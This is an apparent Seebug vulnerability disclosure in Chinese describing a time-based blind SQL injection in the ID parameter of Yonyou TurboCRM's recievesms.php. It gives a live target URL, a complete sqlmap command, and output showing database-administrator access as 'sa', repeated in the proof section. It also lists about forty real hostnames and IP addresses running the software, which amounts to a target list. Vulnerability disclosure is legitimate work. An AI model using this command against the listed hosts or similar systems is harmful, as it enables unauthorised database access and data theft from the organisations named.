用友某通用系统sql注入

2014-06-27T00:00:00
ID SSV:93248
Type seebug
Reporter Root
Modified 2014-06-27T00:00:00

Description

简要描述:

用友某通用系统注入

详细说明:

用友TurboCRM存在通用sql注入。

<img src="https://images.seebug.org/upload/201406/27100749e814f98404a5ac54d0d19594028728d8.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">

http://220.178.27.116:8001/background/recievesms.php?ID=1

ID参数未做过滤存在mssql timebased盲注。

sqlmap.py -u "http://220.178.27.116:8001//background/recievesms.php?ID=1" --dbs --current-user --current-db --is-dba

[*] master [*] model [*] msdb [*] tempdb [*] turbocrm70 [*] UFDATA_001_2011 [*] UFMeta_002_2011 ...略...

current user: 'sa' current database: 'turbocrm70' current user is DBA: True

整理出了以下使用这套crm的网站,title:用友TurboCRM

218.94.82.23 prm.ufida.com.cn crm.landwind.com.cn crm.szclou.com http://yindajituan.gicp.net:8888 182.135.191.86 111.40.0.242:9091 222.171.32.36:9091 219.90.119.35:8081 180.168.98.94:8088 prm.yonyou.com www.kdlian.com:8001 prm.chanjet.com qinyuancrm.com kfdq369.gicp.net 220.113.5.194 218.84.134.162:8088 turbocrm.yofc.com crm.elfa.com.cn crm.pearmain.cn nc.shineroad.com crm.westernpower.cn crm7.abgroup.cn crm.transn.net zh4433.vicp.net 218.108.86.226 crm.yiwenkeji.com:8080 218.95.66.88:9036 crm.digisystem.com.cn:8080 crm.shineroad.com crm.siweidg.com 222.41.174.190:8088 117.36.76.254:8080 hq.longmanschools.com.cn:8080 59.50.33.86:9000 182.135.191.87 crm.szclou.com:8088 58.220.225.28:8080

漏洞证明:

http://220.178.27.116:8001/background/recievesms.php?ID=1

ID参数未做过滤存在mssql timebased盲注。

sqlmap.py -u "http://220.178.27.116:8001//background/recievesms.php?ID=1" --dbs --current-user --current-db --is-dba

[*] master [*] model [*] msdb [*] tempdb [*] turbocrm70 [*] UFDATA_001_2011 [*] UFMeta_002_2011 ...略...

current user: 'sa' current database: 'turbocrm70' current user is DBA: True